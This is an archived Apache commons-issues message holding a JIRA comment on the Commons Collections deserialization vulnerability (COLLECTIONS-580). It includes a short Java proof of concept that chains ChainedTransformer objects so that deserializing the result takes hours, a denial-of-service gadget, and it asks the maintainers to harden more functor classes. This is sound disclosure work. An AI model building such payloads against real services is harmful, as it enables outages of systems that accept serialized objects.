commons-issues mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Naozumi Taromaru (JIRA)" <>
Subject [jira] [Commented] (COLLECTIONS-580) Arbitrary remote code execution with InvokerTransformer
Date Thu, 19 Nov 2015 06:23:12 GMT


Naozumi Taromaru commented on COLLECTIONS-580:

I used commons-collections-3.2.2.

ForClosure and WhileClosure can not deserialize.
But, ChainedTransformer can deserialize.
A DoS attack similar to an infinite loop becomes possible by the following way.

	HashMap<Integer, Integer> map = new HashMap<Integer, Integer>();
	for (int i = Integer.MIN_VALUE + 1; i <= Integer.MIN_VALUE + 10; i++) {
		map.put(i, i);
	Transformer constantTransformer = ConstantTransformer.getInstance(map);
	Transformer stringValueTransformer = StringValueTransformer.getInstance();
	Transformer transformerChain = ChainedTransformer.getInstance(constantTransformer, stringValueTransformer);
	for (int i = 0; i < 10; i++) {
		Transformer[] transformers = new Transformer[10];
		Arrays.fill(transformers, transformerChain);
		transformerChain = ChainedTransformer.getInstance(transformers);

This serialized file size is less than 2KB.
But it takes 6~7 hours for deserialize. (Core i5 CPU)

I think the similar way is also possible in ChainedClosure, AllPredicate, AnyPredicate.

When other class of org.apache.commons.collections.functors package was used,
it was possible to make OutOfMemoryError occur.

I think all classes of org.apache.commons.collections.functors package should call FunctorUtils#checkUnsafeSerialization.

> Arbitrary remote code execution with InvokerTransformer
> -------------------------------------------------------
>                 Key: COLLECTIONS-580
>                 URL:
>             Project: Commons Collections
>          Issue Type: Bug
>    Affects Versions: 3.0, 4.0
>            Reporter: Philippe Marschall
>             Fix For: 3.2.2, 4.1
>         Attachments: COLLECTIONS-580.patch
> With {{InvokerTransformer}} serializable collections can be build that execute arbitrary
Java code. {{sun.reflect.annotation.AnnotationInvocationHandler#readObject}} invokes {{#entrySet}}
and {{#get}} on a deserialized collection. If you have an endpoint that accepts serialized
Java objects (JMX, RMI, remote EJB, ...) you can combine the two to create arbitrary remote
code execution vulnerability.
> I don't know of a good fix short of removing {{InvokerTransformer}} or making it not
Serializable. Both probably break existing applications.
> This is not my research, but has been discovered by other people.

This message was sent by Atlassian JIRA

View raw message